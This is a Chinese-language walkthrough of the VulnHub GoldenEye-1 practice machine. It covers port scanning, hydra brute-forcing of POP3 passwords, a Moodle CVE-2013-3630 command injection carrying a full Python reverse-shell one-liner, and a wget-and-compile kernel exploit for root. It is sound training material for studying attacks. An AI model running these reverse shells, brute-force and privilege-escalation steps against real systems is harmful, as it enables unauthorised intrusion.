环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://www.vulnhub.com/entry/goldeneye-1,240/

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.139

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.139

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务

1
nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.139

扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、一个 SMTP 服务(25 端口)和两个 POP3 服务(55006 和 55007 端口)

1
2
3
4
5
6
7
8
9
10
PORT      STATE SERVICE  VERSION
25/tcp open smtp
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) AUTH-RESP-CODE CAPA USER UIDL RESP-CODES TOP
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA SASL(PLAIN) AUTH-RESP-CODE PIPELINING USER UIDL

网站信息收集

一个普通的页面,查看网站源码发现加载了一个 js,打开 terminal.js,翻译一下,翻译插件直接把实体编码解出来了,可以得出一个账密 boris/InvincibleHack3r

按照要求访问 /sev-home/ 目录,用刚刚得到的账密登陆,提示一些 电子邮件啊,pop3 等字眼,于是想到爆破 pop3 接收邮件协议

爆破邮件密码

将刚刚得到的两个用户名写入 txt 文本中,使用 kali 自带字典 fasttrack.txt 爆破

1
2
echo -e 'natalya\nboris' > GodenEye.txt
hydra -L GodenEye.txt -P /usr/share/wordlists/fasttrack.txt pop3://192.168.52.139:55007

爆破出这两个账号的密码(爆破的超级慢)

1
2
[55007][pop3] host: 192.168.52.139   login: natalya   password: bird
[55007][pop3] host: 192.168.52.139 login: boris password: secret1!

使用 nc 连接 pop3 服务,登陆这两个账号查看信息,登陆流程如下:

1
2
3
4
5
nc 192.168.52.139 55007		#使用 nc 命令连接 POP3 服务
user boris #登录用户名
pass secret1! #登录密码
list #查看邮件列表
retr m #查看第m个邮件内容

两个账号一共五封邮件,给了一个账号密码 xenia/RCP90rulez!,还给了一个 url:severnaya-station.com/gnocertdir,需要修改 hosts 文件让 severnaya-station.com 域名指向 192.168.52.139

1
192.168.52.139 severnaya-station.com

然后访问给出的 url,用邮件中给出的账密 xenia/RCP90rulez! 登陆,在最近联系中发现一个用户 doak

尝试爆破 doak 的邮件密码,爆破成功,密码为:goat,查看邮件又得到 doak 的网站账号密码 dr_doak/4England!,登陆后在私人文件中得到一个文件

文本内容如下:

1
2
3
4
5
6
007,

I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

图片隐写,admin 的密码在图片中,在图片详细属性中发现一串 base64,解码得到 xWinter1995x!

使用账密 admin/xWinter1995x!,成功登陆到后台

漏洞发现

根据插件和图标可知该 CMS 为 Moodle,搜索相关漏洞,发现一个 CVE-2013-3630 漏洞

将反弹 shell 命令填入下框,(bash 不行,但 python 可以)

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali 开启监听,然后在博客中新建文章,点击”Toggle Spellchecker”之后就会触发反弹 shell 命令

反弹后一个普通用户权限

权限提升

其他提权无果后,尝试内核提权,查看内核版本,发现是 3.13.0 版本的

1
2
uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

使用 searchsploit 搜索内核相关 exp,找到符合版本的 exp,复制到当前目录,由于无法进行 gcc 编译,需要改下脚本为 cc,然后开启监听便于靶机下载

靶机使用 wegt 命令下载 exp,然后编译提权为可执行文件,命令如下:

1
2
3
4
wget http://192.168.52.128:8888/37292.c
cc -o exp 37292.c
chmod +x exp
./exp

提权成功,flag 在 root 目录下的隐藏文件中,最后访问 /006-final/xvf7-flag/目录还有一个小彩蛋()